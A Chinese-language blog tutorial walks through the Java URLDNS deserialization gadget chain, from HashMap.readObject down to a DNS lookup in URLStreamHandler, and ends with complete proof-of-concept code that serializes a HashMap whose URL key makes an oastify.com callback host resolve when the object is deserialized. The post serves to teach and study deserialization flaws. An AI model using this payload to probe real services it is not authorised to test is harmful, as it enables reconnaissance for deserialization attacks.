urldns

urldns

分析

这条链的目的是ping一个地址
最后的地方是在InetAddress.getByName(host),然后在URLStreamHandlergetHostAddress里调用了他

  protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
        return u.hostAddress;

    String host = u.getHost();
    if (host == null || host.equals("")) {
        return null;
    } else {
        try {
            u.hostAddress = InetAddress.getByName(host);
        } catch (UnknownHostException ex) {
            return null;
        } catch (SecurityException se) {
            return null;
        }
    }
    return u.hostAddress;
}

然后在自己的hashcode()调用了getHostAddress

 protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

URLhashcode调用了他

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

handler他是一个transient URLStreamHandler handler
到这一步大家都知道要怎么做了,hashcode上一步是hash
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
hash上一步是put啊,putvalue啊,等等,就看他的类里面readObject调用了什么

 private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

写代码

URLStreamHandler hashcode(URL u)里面InetAddress addr = getHostAddress(u);所以我们要给hashcode传参为一个地址

public URL(String spec) throws MalformedURLException {
    this(null, spec);
}

url的构造器,我们在这里赋值

    URL url = new URL("http://615bup04dnj5kiq6q6dkc8n22t8lwbk0.oastify.com");

ok,我们只需要再给readObjectputVal(hash(key), key, value, false, false);里面的key赋值就行
走进hash

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

传url给key就行
HashMap<URL,Integer> hashMap= new HashMap();
hashMap.put(url,1);

但是要注意put也会触发hash,所以我们要在前面hashcode哪里给他赋值让他不进入ping ip的地方

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

hashcode赋值为-1,他就进不去hashCode = handler.hashCode(this);他就不会ping这个地方了,然后等给put完了,就给他发射修改,然后反序列化的时候就能进去了

执行代码

    HashMap<URL,Integer> hashMap= new HashMap();
    URL url = new URL("http://cs8hlvra4tabbohchc4q3ee8tzzvnlba.oastify.com");
    Class c = url.getClass();
    Field hashcodefield = c.getDeclaredField("hashCode");
    hashcodefield.setAccessible(true);
    hashcodefield.set(url,1234);
    hashMap.put(url,1);
    hashcodefield.set(url,-1);
    serialize(hashMap);
    unserialize("ser.bin");

完整代码

public class URLDNSEXP {
public static void main(String[] args) throws Exception{
    HashMap<URL,Integer> hashMap= new HashMap();
    URL url = new URL("http://cs8hlvra4tabbohchc4q3ee8tzzvnlba.oastify.com");
    Class c = url.getClass();
    Field hashcodefield = c.getDeclaredField("hashCode");
    hashcodefield.setAccessible(true);
    hashcodefield.set(url,1234);
    hashMap.put(url,1);
    hashcodefield.set(url,-1);
    serialize(hashMap);
    unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}
}
posted @ 2024-07-29 21:01  毛利_小五郎  阅读(17)  评论(0)    收藏  举报